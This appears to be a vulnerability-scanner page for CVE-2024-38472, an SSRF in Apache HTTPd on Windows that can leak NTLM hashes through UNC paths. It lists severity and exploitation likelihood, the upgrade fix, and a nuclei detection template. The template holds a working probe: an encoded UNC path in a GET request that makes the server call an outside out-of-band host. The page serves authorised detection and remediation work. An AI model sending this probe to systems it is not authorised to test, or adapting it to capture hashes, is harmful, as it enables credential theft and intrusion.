Apache HTTPd Windows UNC - Server-Side Request Forgery

highseverity

7.5CVSS score

69.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

SSRF in Apache HTTP Server on Windows allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests or content Users are recommended to upgrade to version 2.4.60 which fixes this issue. Note- Existing configurations that access UNC paths will have to configure new directive "UNCList" to allow access during request processing.

Impact

Attackers on Windows-based Apache HTTPd servers can exploit SSRF to potentially leak NTLM hashes to malicious servers, leading to credential theft and potential network compromise.

Fix

Upgrade to Apache HTTPd version 2.4.60 or later and configure the UNCList directive for UNC path access.

How to confirm it

Send: GET {{BaseURL}}/%5C%5C{{interactsh-url}}/apachehttpd
Positive when: contains in interactsh_protocol "dns" AND contains in interactsh_request "/apachehttpd"

Run it with nuclei: nuclei -id CVE-2024-38472 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-38472

info:
  name: Apache HTTPd Windows UNC - Server-Side Request Forgery
  author: pdteam
  severity: high
  description: |
    SSRF in Apache HTTP Server on Windows allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests or content Users are recommended to upgrade to version 2.4.60 which fixes this issue.  Note- Existing configurations that access UNC paths will have to configure new directive "UNCList" to allow access during request processing.
  impact: |
    Attackers on Windows-based Apache HTTPd servers can exploit SSRF to potentially leak NTLM hashes to malicious servers, leading to credential theft and potential network compromise.
  remediation: |
    Upgrade to Apache HTTPd version 2.4.60 or later and configure the UNCList directive for UNC path access.
  reference:
    - https://blog.orange.tw/2024/08/confusion-attacks-en.html
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - https://security.netapp.com/advisory/ntap-20240712-0001/
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/Abdurahmon3236/CVE-2024-38472
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-38472
    cwe-id: CWE-918
    epss-score: 0.6947
    epss-percentile: 0.99367
  tags: cve,cve2024,apache,ssrf,oast,httpd,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%5C%5C{{interactsh-url}}/apachehttpd"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: interactsh_request
        words:
          - "/apachehttpd"

References

Use this check only on systems you are authorised to test. Where the data comes from